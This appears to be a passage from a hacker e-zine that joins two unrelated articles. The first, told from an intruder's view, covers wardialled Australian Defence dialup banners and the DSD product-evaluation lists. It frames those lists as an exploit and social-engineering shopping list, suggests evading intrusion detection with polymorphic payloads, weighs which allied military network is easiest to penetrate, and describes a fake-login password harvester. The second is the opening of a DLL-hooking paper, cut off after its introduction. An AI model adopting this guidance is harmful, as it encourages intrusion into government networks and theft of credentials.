I personally use THCSCAN on windows to wardial with, as it works well in Australia for me as well as other places. (I say it works well in Australia because over the years many wardiallers have come out with VERY stringent rules about the numbers to be dialled which only conform to US area‑code and dialling standards ‑ very annoying ‑_‑). I always have it on my laptops ‑ go nowhere without it ;). THC have had to remove many of their great tools from their website recently because of the changes in German law regarding internet security tools, but thanks to the guys from packetstorm it is still available there.

The other good wardialler I love to use on linux is iwar. [8] This is a really nice wardialler, lets you use as many modems as you can fit on the box. It can also log all the data to a mysql database ‑ which I am a fan of. They are working on a sip/iax2 functionality which will allow dialout through a sip gateway and wardial the PSTN network on the other side using a software modem ‑ it works, but with some small difficulties at the moment. It's still a work in progress. Pretty sophisticated stuff, really nice.

It is possibly useful to note here even a commercial provider like Free World Dialup will allow you to dial the US, UK and NL toll free numbers over sip for free. There are others which will also give you local calls for free (in countries where they are free) with a little research, you can find them.

Anyhow, unfortunately in Australia, it costs you $0.22c per local call. So this kind of info is expensive to get ‑ even if you're dialling on a sunday morning at 2am (which is what I did) ‑ unless you like sitting outside peoples homes beiging ‑ I'm getting too old and fat for that anyhow ;)

But for you young skinny folk ‑ wardialling still works well, people should be doing it ‑ especially in countries where local calls are free!!

When I first saw these pop up, I was pretty happy. I'd not been at the front‑door to anything like this in a while, and I knew it would keep me interested for a bit. You have to keep in mind, the Department of Defence is stupid and worthy of your respect ‑ both. They are like mmost other large animals, they are slow to move, but if they hit you, you'll get squished like a bug (I have been there before).

However it's amazing how much of an understanding you can get about such a large target by doing a little research.

When I first found these dialups it was back in 2004. I noted them all down, and kept a copy very safe. Later on a couple years later I rechecked them to make sure they were still valid ‑ no other reason.

I did notice a slight change ‑ in the banner.

Here's the original banner back in 2004:

****************************************

* CONNECT 57600

*

* The unauthorised access, use or modification of this computer system * * or the data contained therein or in transit to/from, is prohibited * * by Part VIA of the Commonwealth Crimes Act and other Federal and State *

* laws.

* This system is subject to regular audit. *

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* For access problems please log a job through the DRN Customer Support *

* Centre. Either phone 133272 or e‑mail to *

* 'outage.notifications@defence.gov.au'. *

*

* ****************

*

*

* User Access Verification

*

* Username:

* NO CARRIER

****************************************

Here's the banner in 2006:

****************************************

* CONNECT 36000 CCCC

* The unauthorised access, use or modification of this computer system * * or the data contained therein or in transit to/from, * * is prohibited by Part VIA of the Commonwealth Crimes Act * * and other Federal and State laws. *

*

* This system is subject to regular audit. *

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* For access problems please log a job through the FISSO Support Centre. * * Either phone 02 9359 6000 or e‑mail to 'fleet.help@defence.gov.au'. *

*

* *****************

*

*

* User Access Verification

*

* Username:

* NO CARRIER

****************************************

(The part I starred out was the actual dialup location and line number which are a code for maintenance purposes for the terminal server I guess.)

As you can imagine I was kinda interested in why it changed from a DRN (Defense Restricted Network) to FISSO and what FISSO was.

I checked around the web, and then started reading all the pdf's that the military in Australia declassify and make available to the public.

‑‑[ 3. Origins of FISSO

Currently the RAN (Royal Australian Navy) has expanded the DRN (Defence Restricted Network) to allow for more robust communications protocols (still an IP Network) and Services. Thus FISSO (Fleet Information Systems Support Organisation) is born out of the old Navy driven DRN Support Group.

During some time when those banners above changed, the DRN was expanded to include the other armed services branches Army and Air Force.

They are now implementing the networking technology overseas with collaboration efforts in the UK and USA. This will allow far better communications between the various armed services of the west and thus provide better cohesion. This is where the CCRA comes in.

It is also interesting to mention here one project which has been in the press for years ‑ ECHELON. The USAUK Agreement back after WW2 has allowed vast amounts of intelligence to be shared among the member nations as well as projects like ECHELON to be enacted. This new criteria for security measures internationally is a new brick in the wall for these intelligence communities.

Keep in mind ‑ when you see this kind of press for things like ECHELON, that is one thing, but most of the intelligence agencies will not share high level intel with ANYONE, not even allies. What they will usually share are things that used to come under the term "domestic terrorism" ‑ which after 9/11 is a relative term with the Homeland Security Department being formed.

Unfortunately or fortunately ‑ depending how you look at it, as a result, the list itself shows clearly which evaluated products are in use on such networks ‑ which is at least of interest to us.

One of the fundamental problems with making rules is the existence of anomalous circumstances ‑ exceptions ‑ which most of us are aware of ;)

Creating a criteria and then an implementation procedure for security devices takes a long time, it is also expensive for the company doing the implementation ‑ as they must pay for the DSD staff's time to do criteria evaluations ‑ for their specific implementation of their product.

These rules are followed stringently at the time of a particular installation.

The amount of beaurecracy found in the DSD is mind‑blowing. Thus their ability to move quickly on any given specific flaw in security is AT TIMES small. They do however keep internal security mailing lists, patches and often have direct contact with not just vendors of products but also the original architects most of these won't relate to CCRA listed products however ‑ more on all of this in the next section.

You will even in places find tricks implemented in a DSD controlled network that you will find nowhere else in the world ‑ you have been warned.

‑‑[ 4. Australian DoD and FISSO

FISSO themselves are a rehash of the old DRN Support Group who maintained the old Defense Restricted Networks for the DoD. FISSO is the new project the Navy is (still) running for the DoD ‑ Keep in mind, the navy has historically been in charge of many signals projects before other branches of armed services have been invited to join or use them the same I believe is true of the US Navy. (Must be all that morse code).

The FISSO Network is a support network for DoD Personel to communicate with each other around the world with low level communications mediums. Which is to say laptops or other small computer systems with modems in order to help officers and other officials to communicate across the globe in a secure manner for departmental purposes.

The FISSO Network Support Group has had several contract workers in the DoD to create a network with many quite amazing and intricate network systems. The officers are able to communicate with voice over ip, digital video, whiteboards, conference rooms, text chat and other ways [6]. They can exchange files and communicate over the parts of the network that have been secured by the DSD and the old DRN Group.

Aspect Computing currently hold contract with the DoD for FISSO Core Contract and FISSO In‑House Contract Payment. Given the amounts in the reports I've read, I'd suggest they're probably just contracting either software or hardware or both to the Navy (my best guess) who would likely only trust DoD or DSD staff to maintain the support centre itself. (It might contract out some positions to suitably DoD security cleared contractors ‑ likely top‑secret or better would be required).

At present Aspect Computing is being paid approximately $2 million dollars a year for support to FISSO. This would probably be a 3rd tier support network, to be used after both the FISSO Support and KAZ could not fix a particular issue.

KAZ Technology Services (Procured by Telstra in 2004) is also a contractor who provides Command and Support Systems for Officers and Logistical Support Systems Integration that is to say that these guys provide all the really nice and interesting comms software that the officers and support/logistical personel use for decision making and chain of command order verification. (Think of them as the Australian version of SAIC). They won a 5 year $200million contract back in 2005 to provide desktop computing to the RAN (Royal Australian Navy). Kaz had maintained a relationship with DOD since its inception in 1988 and is being offered 2 year contract extensions up until 2015.

Kaz staff go through rigourous security checks in order to be cleared to work on the FISSO network and they have in the past been helicoptered out to sea in order to complete work in required timeframes.

From a KAZ document regarding their FISSO solution:

"Behind these capabilities, KAZ high security architecture integrates Lotus Notes R5, Domino, SameTime (including server to server federated architecture), LAN/WANs, MS Windows NT Servers, MS Windows Terminal Servers, Citrix Mataframe Xpe 1.0, Ultra Thin Clients, HP‑UX and Hummingbird Exceed.

The architecture also draws on TCP/IP, ISDN and modems to connect the Fleet to services across Defence intranets, with the addition of cryptographic black boxes outside each of the on‑board servers to maintain military level security.

KAZ also integrated SameTime technology to extend the Navy's collaborative capabilities to a Coalition Wide Area Network (COWAN), involving naval systems belonging to Allies such as the United States and United Kingdom." [6]

You'll notice KAZ's inference of a Coalition Wide Area Network which I can find no other mention of that particular acronym. It might be either a marketting insertation or something that eludes to more restricted documentation. Either way you have to assume KAZ knows more about it than us and I find it interesting that such a beast is mentioned here.

IBM Provide Hardware and Software also to do with Logistical support for the various arms of the DoD. [4]

Sun Microsystems are providing Hardware and Software for security based firewalls and other security devices (RFID and biometric authentication device drivers and such). [4]

Lotus Notes and Domino are in use widely still to this day ‑ which at first I wasn't sure of but I was in discussion on with a friend and he pointed out the KAZ website ‑ I'd suggest the Navy would be loath to update their systems as often as normal corporates would.

<axe> Lotus‑Domino 5.0.9

<axe> i'm surprised that still exists

<thefinn> those docs are old

<thefinn> probably doesn't exist now

<thefinn> but might still

<thefinn> u never know, their beaurecracy is amazing sometimes <thefinn> i actually worked with a prime 9950 at one company <thefinn> didn't even run the newer version of cobol

<thefinn> ...

<thefinn> took up half a room

<thefinn> was sitting next to all the AT&T servers

<thefinn> funny stuff

<axe> http://www.kaz‑group.com/subscribe

<axe> yeah, just to keep some legacy code running

<thefinn> yeah

<axe> <!‑‑ Lotus‑Domino (Release 5.0.9a ‑ January 7, 2002 on Windows NT/Intel) ‑‑>

<thefinn> wow

<thefinn> there ya go

<thefinn> dude im gonna add that in the article

<axe> how may i own thee, let us count the ways..

<thefinn> haha

‑‑[ 5. An Introduction to the the EPL and CCRA.

Let's introduce the criteria themselves'. At the moment the DSD have 2 different tables of criteria the ITSEC system and the CCRA for evaluating products for secure use on Military and Government networks.

The DSD (Defence Signals Directorate) is the main body behind secure communications for the Australian Government, ostensibly they take the same role as the NSA does in the US. The EPL (Evaluated Products List) is the list the DSD creates and maintains denoting all products put forward by vendors for assessment by the DSD for use in high level, high security government networks and systems. There are a number of criteria in the DSD which products are assessed for.

The CCRA (Common Criteria Recognition Arrangement) is an agreement by NATO nations in the west to rate equipment by a shared standard as well as share past evaluated products at a common rating so that they might interconnect their military and government networks to better control your sorry ass. ;)

To allow those poor corporates who have spent lots and lots of dollars on getting their products evaluated, time to re‑evaluate them under the new international system, the CCRA (as a body) are going to allow member countries who have used the ITSEC (Information Technology Security Criteria) system (including the USA, UK, Australia) to use ITSEC rated products as CCRA rated products for the timebeing.

This basically means the EPL's for all these countries are now turning into the CCRA. They are amalgamating 50 years of "defense" protocols and political maneuvering to be able to dominate more freely. After all it wouldn't be nice to have UK troops in some little out of the way village while the US Navy are ordering cruise missiles to destroy it from 1000 kilometers away ‑ the speedy communications methods and stringent protocols (military protocols) enabled by a communications network like this would allow for these kinds of scenarios to be less of a concern and have a million other benefits.

Along with the E1‑E6 (ITSEC) and EAL1‑EAL7 (CCRA), there is a network designation relating to the secrecy and security needs for the network, as follows: UNCLASSIFIED, IN‑CONFIDENCE, RESTRICTED, PROTECTED, National Security/HIGHLY PROTECTED.

The Document relates the required security device to be used interconnecting the different networks which I will include here:

****************************************

* SRC NETWORK * AND DST NETWORK IS * THEN YOUR GATEWAY REQUIRES *

****************************************

* UNCLASSIFIED * ‑ public domain. * a traffic flow filter. *

* * ‑ UNCLASSIFIED. * *

* * ‑ IN‑CONFIDENCE. * *

* * ‑ PROTECTED. *

* * ‑ HIGHLY PROTECTED or * *

* * National Security. * *

****************************************

* IN‑CONFIDENCE * ‑ public domain. * an EAL2 Firewall. *

* * ‑ UNCLASSIFIED. * *

****************************************

* * ‑ IN‑CONFIDENCE. * a traffic flow filter. *

* * ‑ PROTECTED. *

* * ‑ HIGHLY PROTECTED or * *

* * National Security. * *

****************************************

* RESTRICTED * ‑ public domain. * an EAL2 Firewall. *

* * ‑ UNCLASSIFIED. * *

* * ‑ IN‑CONFIDENCE. * *

****************************************

* * ‑ PROTECTED. * a traffic flow filter. *

* * ‑ HIGHLY PROTECTED. * *

* * National Security. * *

****************************************

* PROTECTED * ‑ public domain. * an EAL4 Firewall. *

* * ‑ UNCLASSIFIED. * *

****************************************

* * ‑ IN‑CONFIDENCE. * an EAL3 Firewall. *

* * ‑ RESTRICTED. *

****************************************

* * ‑ PROTECTED. * an EAL2 Firewall. *

****************************************

* * ‑ HIGHLY PROTECTED or * an EAL1 Firewall. *

* * National Security. * *

****************************************

Can you see the interesting parts with regard to our dialups?

2 things I notice right away. If anything HIGHLY PROTECTED or National Security rated are connected to the network we have dialups for ‑ there's only a packet filter in between me and it ‑ if the old DRN network rating hasn't changed. (A restricted network).

Also, behind that terminal server, I can probably expect to find myself facing a nice EAL2 rated firewall. As I would assume the PSTN Network is considered "Public Domain". It may even require some kind of secure‑ID type authentication ‑ a one time pad or smartcard.

This would be a theoretical login session given the types of equipment listed on the EPL and what they are used for.

The network topology could easily include remote identification servers. The terminal server itself can instigate PPP with a client, pass you through to the Cisco VPN 3000 Concentrator(EAL2), you authenticate there via key and it directs you to where you're trying to go, when you get there you have a Sun Firewall‑1 (EAL4+) asking for your SecureID one time PAD or similar product. Once you do that, you can check your email, download your porn, whatever.

Also the other interesting thing to note ‑ EAL1 rated firewalls are only going to be found on PROTECTED, HIGHLY PROTECTED or National Security networks and only where they interconnect with others of the same security rating. If you find one one of those firewalls ‑ you know the importance of the networks you're on.

Now down to the exact security designations for the products:

EAL1 ‑ Functionally Tested. Provides analysis of the security functions, using a functional and interface specification of the TOE (target of evaluation), to understand the security behaviour. The analysis is supported by independent testing of the security functions.

EAL2 ‑ Structurally Tested. Anaysis of the security functions using a functional and interface specification and the high level design of the subsystems of the TOE. Independent testing of the security functions, evidence of developer "black box" testing, and evidence of a development search for obvious vulnerabilities.

EAL3 ‑ Methodically Tested and Checked. The analysis is supported by "grey box" testing, selective independent confirmation of the developer test results, and evidence of a developer search for obvious vulnerabilities. Development environment controls and TOE configuration management are also required.

EAL4 ‑ Methodically Designed, Tested and Reviewed. Analysis is supported by the low‑level design of the modules of the TOE, and a subset of the implementation. Testing is supported by an independent search for obvious vulnerabilities. Development controls are supported by a life‑cycle model, identification of tools, and automated configuration management.

EAL5 ‑ Semiformally Designed and Tested. Analysis includes all of the implementation. Assurance is supplemented by a formal model and a semiformal presentation of the functional specification and high level design, and a semiformal demonstration of correspondence. The search for vulnerabilities must ensure relative resistance to penetration attack. Covert channel analysis and modular design are also required.

EAL6 ‑ Semiformally Verified Design and Tested. Analysis is supported by a modular and layered approach to design, and a structured presentation of the implementation. The independent search for vulnerabilities must ensure high resistance to penetration attack. The search for covert channels must be systematic. Development environment and configuration management controls are further strengthened.

EAL7 ‑ Formally Verified Design and Tested. The formal model is supplemented by a formal presentation of the functional specification and high level design showing correspondence. Evidence of developer "white box" testing and complete independent confirmation of developer test results are required. Complexity of the design must be minimised.

Note: Only assurance levels 1‑4 are incorporated in the CCRA currently, and ratings of products which fit criteria above level 4 in Australia, are designated 4+ on the EPL.

Here I'll give a few examples of ratings from random catagories. (The EPL is split up into various network devices and then the larger part of network security products).

Biometric Products

EAL2 ‑ Iridian Technologies KnoWho Authentication Server and Private ID

Miscellaneous Devices

E1 ‑ NEC S2 (Mobile Satellite Terminal)

EAL1 ‑ Cisco VoIP Telephony Solution

Network Security Devices

EAL1 ‑ Secure Session VPN v4.1.1

EAL2 ‑ SurfControl Email filter for SMTP

EAL4 ‑ Clearswift Bastion II Firewall

EAL4+ ‑ Cisco Secure PIX Firewall V7.0(6)

Operating Systems

E3 ‑ AIX V4.3

EAL4+ ‑ Sun Trusted Solaris 8/04

EAL4+ ‑ Windows 2000 Professional, Server and Advanced Server with SP3 and Q326886 Hotfix *cough*bullshit*cough*

There are also smartcard products, PC Security products, encryption products, and many other catagories. More in‑depth information can be found on the website itself regarding each product.

‑‑[ 6. The EPL and CCRA in depth

During 1998 The United Kingdom, France, Germany, The United States and Canada put in place the CCRA. Australia joined in 1999. It should be noted here also that under the member countries list (with contact details) under the DSD website, Japan, South Korea, Netherlands and Norway have also joined the CCRA recently.

This Criteria is for use between the countries in any kinds of shared network arrangements ‑ this process is called "Mutual Recognition". The philosophy behind this is that overseas products rated by the DSD, NSA and various other organisations can be used in other member countries without being re‑evaluated as the criteria is the same. Although it may be noted that (at least in Australia) the DSD does provide exceptions for any kind of cryptographic equipment which it may need to give particular evaluation to.

(I wonder if this is a security concern or more to do with compatibility).

Also available is the ACSI33 Network Security Manual ‑ Public Domain Copy [1] ‑ this is much like the old DoD Orange Book in the US. This manual defines many of the Australian DoD Network security standards and criteria prerequisites for many of the supplicants of DSD/DoD approval for the Evaluated Products List (EPL).

If you check the EPL itself, you'll find criteria certification reports and security target papers, defining how the product was certified, possible weaknesses in the product, how the product should be used in the DoD and all the contact details any given DoD department should need to buy such a product or get information on it.

You have the shopping list for exploits, contact information for social engineering, a detailed outline of what to worry about once you'd attacked a DoD network point and how to hide yourself from IDS ‑ you have the list of what IDS are used, and can download the IDS signature recognition files and run those through something like IDA Pro disassembler. Then modify your code/payload to no longer alert the IDS software, use of polymorphic payload would be a good technique to use for this once you know the triggering pattern.

Since the old days of hacking into .mil's on the old milnet (the cold‑war ip network of the USA which was used both for research and development) of the early 90's lots of things happened. Lots of busts and a lot of talk of securing the governments of the western world. And they are not the only ones. Since the early 90's we've seen a huge amount of digest on changes to computer related laws worldwide in relation to this particular agenda in places like Russia, China and North Korea.

There is more than enough information in these documents to set up an elaborate network attack, when the various military organisations will be more reliant than ever on these networks for command and control, logistics and communications.

More interesting is the fact that on the UK EPL and the US EPL they also list the same products with the same rating ‑ even though some of them have been independantly assessed (haha), further pushing the point that these networks are now at least slightly interoperable or at least becoming so over time.

The scarey part is that it's connected to the largest military body in the world. The US DoD, who have run SIPRN for many years, since they re‑built the early milnet after the cold‑war. The network there being able to at least speak to the Australian network and be restricted by guidelines of Mutual Recognition as set down by the new standards in the CCRA must of course adhere to the same standards, and can be recognised by the EAL designation on the Australian and UK EPLs.

Theory: Latest exploits ‑ or even old ones ‑ could still work to this day on many of the systems because of the way the EPL is implemented. Companies must pay to become a part of the EPL. It can cost upward of $1,000,000 AUD to get a product certified sufficiently. From the companies point of view ‑ the more they pay, the better their market share is, because the further up the EPL rating they go ‑ by taking more time through evaluation ‑ which costs more to get evaluated for, they find less companies are willing to pay for the evaluation.

This directly impacts sales because the more secure a network is rated internally by the DSD the less choice any given department has for the products to secure it. Pretty much the DSD/NSA etc. will give you a license to print money ‑ as long as you pay THEM first.

Here's one recent example of the whole deal going wrong which has come out in the press as I wrote this article [7]. I find it interesting that even the most educated security consultants aren't really that aware of the way the intelligence community is functioning when it comes to the CCRA/EPL equipment. Their mention of "Pentest expresses doubts about whether the certification of the firewall according to Common Criteria EAL4+ is merited on the basis of the flaws it unearthed." amuses me. Fact is, once a particular IMPLEMENTATION of a product is evaluated, it doesn't change. It won't be "Regularly Patched" or even "Regularly Evaluated", any changes whatsoever made to the implementation make it non‑standard and no longer adhering to the criteria it was evaluated for originally ‑ that's the point of evaluation ‑ as far as the DSD/NSA are concerned.

You are almost back at the old NASA addage back when the space race was on and they would joke that the Russians had their best minds and parts going into their project while the US spacecraft was 10,000 moving parts, all built by the lowest bidder run by a group of people chosen on their ability to kiss ass.

This is the basic problem with beaurecracy in the western military. Beaurecrats are always trying to justify their existence, they do so by telling everyone what they are doing and companies involved want to say "hey look what we did for the DoD".

On with our look at the pretty secure network: Without actually breaking in, we can't know if you can break into the american network from the Australian side, or any other side, however, the previous designations with regard to PROTECTED networks connecting to National Security Networks could tell us that we might be able to easily. I suggest that no matter what the CCRA will tell countries to do, their own internal DSD, NSA, DoD computer departments will require some heavy security between coalition members. But this is only an assumption on my part, I wouldn't put it past the various department heads to cut costs here ‑ it happens.

I find it amusing that in none of the above departments or EPL's does NSA SELinux get a mention ;) (Probably just someone's pet project).

One assumption you'd have to make is the network wouldn't be fast out of the country you're in. Ground based satellite transponders are bound to be slow, ship based ones even slower. Network coverage of combat areas is going to be pretty nasty for data ‑ especially if you are on a dialup line. But they are there. Recent Satellite scans show a large number of S and X band non‑commercial satellite beacons (which show working transponders in space) and data/analog signals which are encrypted as no in‑band scans return any valid output at all (you can see the bandwidth is being used however).

I dont have a lot of information about the SIPR Network, not being in the U.S (hopefully it will not be long before someone writes another article on it).

But from the DISA website:

SIPRNet: The Secret IP Router Network (SIPRNet) is DoDs largest interoperable command and control data network, supporting the Global Command and Control System (GCCS), the Defense Message System (DMS), collaborative planning and numerous other classified warfighter applications. (Note: I suggest warfighter applications means training programs).

Direct connection data rates range from 56 kbps to 155Mbps. Remote dial‑up services are available up to 19.2kbps.

The data rates there are interesting, meaning they also have dialup and ATM links available possibly faster is now available as that page hasn't been updated since the mid 90's.

‑‑[ 7. Other Standards

The only other standards I've found that are worthy of note for this particular paper are the encryption standards. These are also noted in the acsi33 document fully. The usage of 3DES and AES for symmetrical encryption and RSA/DH/DSA/Elliptic Curve Diffie‑Hellman (ECDH)/Elliptic Curve Digital Signature Algorithm (ECDSA) for asymmetric (key exchanges). Encryption is not my strong point, however it should be noted the CCRA members defer to NIST with regard to most of their encryption standards.

Fact is I am quoting almost directly from the acsi33 document here, the only encrypted VPNs I ever set up for these companies I worked for were Cisco IOS 3des algorithms.

‑‑[ 8. Secrets

At the end of the cold war, there were probably a few hundred thousand computers hooked up to the internet. Almost every country on earth had SOMETHING hooked up. The R&D departments of universities in Australia was where I got my internet access from and developed contacts in the hacker scene of the time. At that time China and the USSR were both large threats to western dominance, however I find it interesting to note that all of the member countries of both of these power blocks were internet connected at the time the cold war was in full force.

The US DoD or DARPA has still never actually disclosed any given project to do with engineering or humanities that the internet actually facilitates apart from communication.

One has to wonder about the significance of the storm worm and other such virii, their ability to act as an autonomous strike against non‑military, but more a regional strike against economic infrastructure.

The foreseen assumption of any given biological, nuclear or widespread terrorist attack would be that that economic infrastructure would disolve before military infrastructure.

After having written this article, I'm not entirely sure that is a valid assumption...

‑‑[ 9. Conclusion

Much as I would like to write more about the networks in other nations (Japan and France would be nice to find out about), I don't really have the time to wardial or do research for so many networks in so many countries. It will have to come at a later date by other writers. But keep in mind, the USA spend the most on industrial military and mainstream military projects in the world just by matter of overall odds for breaking in and not being discovered, they are probably your least favourable target. As the network seems to now be interconnected with other NATO nations, one of the nations spending less on it might be give better outcomes.

The standards are the same across the board anyhow, most of this information will still be good as long as you are in, or looking at a network in one of these member nations.

I think many people in the various military departments across the world who are member organisations for this particular network should be quite embarassed by this information being so easy to get. Security through obscurity is another oldschool technique which seems to have gone the way of the steam train ‑ even by those who should be most concerned with obscuring and securing their data.

Any hacker who has been around for any decent length of time can tell you there is a way around any system ‑ if you added the extra advantage of having many men who are ready and willing to come to your country and "kick the door down" to procure some of this information, the people responsible for this should be concerned. If we can glean all of this from the "public domain" security level, imagine just having some access to documentation from the IN‑CONFIDENCE network computer.

In my own experience in working for the Australian DSD through contractors, I found many times that their network data security was very dependant upon one or two applications that were bought from outside organisations ‑ poorly implemented and only very rudimentary security precautions taken. Even the fact that I worked there ‑ even with a previous criminal record to do with gaining access to commonwealth systems, inserting data in commonwealth systems, and defrauding the credit card system ‑ was a security breach.

One of the first computers I ever broke into was done via a COBOL packet snarfer. I re‑wrote all of the screens to all of the computers the terminal servers would connect to. Then from an account I looked over someone's shoulder to get, I ran up the snarfer and it would look as if I had logged out. I hadn't, in fact the program was running and looked like the login screen. When you typed in your username/password pair, it gave the usual "Password Authorisation Failure" or other error message (depending on where you were logging in) and it logged it to a file in another account ‑ which had the file permissions opened on it so other accounts could write to its' directory. The program then logged itself out ‑ giving the user the normal login screen. Completely unseen by them, and they merely thought they had typed the wrong password.

8 Years later I was working for this particular contractor to the DSD, I found myself sitting in Air Force bases, Navy Logistics Centres, as well as many high‑end government and corporate computer security departments. Physical security was not an issue ‑ even though, if propper background checks had been done on me ‑ I would not have been allowed

to be there.

Iin the past few months I've seen various talk in the press about botnets, attack vectors from unknown sources and the dreaded "black hat" hackers. The latest laugh I had was the stats from google saying that more unix boxes had been compromised than windows boxes and the reporter couldn't understand why unix was considered more secure than windows. They didn't and don't to this day understand WHY *nix and open source are more secure ‑ I am not going to educate people here.

Creating an aire of "hype" or complacency in any security environment is completely unconstructive, use of "known factors" through use of friends and other associates is likewise unconstructive.

The reasons for this are simple and are defined indeed by one of the latest press releases from the whitehouse.

"On the last day, we won't be lost because of a lack of strength or a lack of equipment. We'll be lost because of a lack of trust."

‑‑[ 10. Annex

Acronyms:

‑‑‑‑‑‑‑‑‑

[i] RAN ‑ Royal Australian Navy

[ii] FISSO ‑ Fleet Information System Support Organisation. [iii] DSD ‑ Defence Signals Directorate.

[iv] DoD ‑ Department of Defence.

[v] DRN ‑ Defence Restricted Network.

[vi] NSA ‑ National Security Agency (USA).

[vii] SIPRN ‑ Secret IP Router Network (US DoD).

Resources:

‑‑‑‑‑‑‑‑‑‑‑

[1] http://www.dsd.gov.au/library/infosec/acsi33.html

[2] http://www.cesg.gov.uk/site/iacs/index.cfm?

menuSelected=1&displayPage=151

[3] http://www.defence.gov.au/dmo/id/cic_contracts/Values2001‑2002.pdf

[4] http://www.yaffa.com.au/defence/pdf/05/top40‑20‑2004.pdf

[5] http://www.disa.mil/main/prodsol/data.html

[6] http://www.kaz‑group.com/files/casestudies/cs_ran.pdf

[7] http://www.theregister.co.uk/2007/10/03/check_point_pentest/

[8] http://www.softwink.com/iwar/

[9] http://www2.packetstormsecurity.org/cgi‑bin/search/search.cgi?

searchvalue=thefinn&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0

phook - The PEB Hooker

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x0a of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phook ‑ The PEB Hooker ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ [Shearer] ‑ eunimedesAThotmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Dreg ‑ DregATfr33project.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑=[ http://www.fr33project.org / Mirror: http://www.disidents.com ]=‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ October 15 2007 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ Index

0.‑ Foreword

1.‑ Introduction

2.‑ Previous concepts

2.1 ‑ Process Environment Block

2.1.1 ‑ LoaderData

2.2 ‑ Import Address Table

2.2.1 ‑ Load of the Import Address Table 2.3 ‑ Starting a process in suspended state 2.4 ‑ Injection of a DLL in a process

2.5 ‑ Hooks in ring3

2.5.1 ‑ Problems

3.‑ Design

3.1 ‑ Fore steps to PEB HOOKING

3.2 ‑ Exchange of data in LoaderData

3.3 ‑ Dynamic load of modules

3.4 ‑ Repairing the IAT

3.5 ‑ Starting execution

3.6 ‑ The APIs that work with modules

3.7 ‑ A new concept: DLL MINIFILTER

3.8 ‑ Frequent Problems

4.‑ phook

4.1 ‑ InjectorDLL

4.2 ‑ Console Control

4.3 ‑ CreateExp

4.3.1 ‑ Forwarder DLL

4.4 ‑ ph_ker32.dll

4.4.1 ‑ Stack problems

4.4.2 ‑ Registry problems

4.4.3 ‑ The JMP macro

4.4.4 ‑ Versions

4.5 ‑ Using phook

4.5.1 ‑ DLL MINIFILTER

4.6 ‑ Frequent Problems

5.‑ TODO

6.‑ Testing

7.‑ Advantages and possibilities

8.‑ Conclusion

9.‑ Acknowledgements

10.‑ Related Works

11.‑ References

12.‑ Source Code

‑‑‑‑‑‑[ 0.‑ Foreword

Nomenclatures:

.‑ [T.Index]: related works (section 10).

.‑ [R.Index]: references (section 11).

Index is the identificator of the nomenclatures.

To understand the document it is needed to have knowledge in win32 about: ‑ Types of executables:

‑ PE32 [R.3]: DLLs, EXE...

‑ Programming:

‑ Use of APIs [R.20]: LoadLibrary, GetModuleHandle ... ‑ Hooks [R.10] [R.8] [...]

‑ Win32 ASM [R.21].

Two terms will be used along all the document:

1.‑ DLL_FAKE: DLL that will supplant a legitim DLL (DLL_REAL). 2.‑ DLL_REAL: DLL that will be supplanted by DLL_FAKE.

Unless stated otherwise, hook/s will always refer to hook/s in win32.

‑‑‑‑‑‑[ 1.‑ Introduction

Hooks in win32 are commonly used to do reverse engineering, the most common motivations are the analisys of malware and packers, software protection systems. Hooks are also used to monitorize parts of a software: access to files, sockets, registry modification...

The actual methods to realize hooks in ring3 (see section 2.5) has different problems (see section 2.5.1). The most important problem for us was that some software can detect them. There are software protection systems that are able to alter the flow of execution when they detect some kind of unknown hook, even the most sophisticated are able to eliminate some types of hooks and continue the normal flow of execution.

Another problem comes while atempting to realize a hook in the virus that tracks API's addresses in memory, disabling some types of hooks like IAT HOOKING (see section 2.5). There are software protection systems that use some technics of virus and viceversa.

Due to these problems we have created phook, which uses a few documented method to realize hooks in ring3 and it even makes some virus techniques to use our hook.

This document explains how phook works and the PEB HOOKING [T.1] method. phook is a tool that uses PEB HOOKING [T.1] to realize a hook of a DLL, it also allows to realize other tasks interactively:

‑ List loaded modules.

‑ Load a DLL.

‑ Download a DLL.

‑ ...

The PEB HOOKING [T.1] method consists in supplanting a DLL_REAL in memory by a DLL_FAKE, so all modules of a process that use DLL_REAL now will use DLL_FAKE.

‑‑‑‑‑‑[ 2 ‑ Previous concepts

To understand the PEB HOOKING [T.1] method and how phook works, it is needed to have clear understanding of some concepts:

‑‑‑‑‑‑[ 2.1 ‑ Process Environment Block

Process Environment Block (PEB) is a structure [R.1] located in the user's space, that contains the process' enviroment data [R.2]: ‑ Enviroment variables.

‑ Loaded modules list.

